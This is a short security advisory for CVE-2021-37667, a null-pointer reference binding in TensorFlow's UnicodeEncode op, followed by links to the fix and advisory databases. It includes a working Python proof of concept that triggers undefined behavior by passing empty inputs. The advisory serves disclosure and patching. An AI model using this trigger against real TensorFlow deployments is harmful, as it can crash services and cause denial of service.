CVE-2021-37667: Reference binding to nullptr in unicode encoding
(updated )
An attacker can cause undefined behavior via binding a reference to null pointer in tf.raw_ops.UnicodeEncode:
import tensorflow as tf
from tensorflow.python.ops import gen_string_ops
gen_string_ops.unicode_encode(
input_values=[],
input_splits=[],
output_encoding='UTF-8',
errors='ignore',
replacement_char='a')
References
- github.com/advisories/GHSA-w74j-v8xh-3w5h
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-580.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-778.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-289.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/2e0ee46f1a47675152d3d865797a18358881d7a6
- github.com/tensorflow/tensorflow/security/advisories/GHSA-w74j-v8xh-3w5h
- nvd.nist.gov/vuln/detail/CVE-2021-37667
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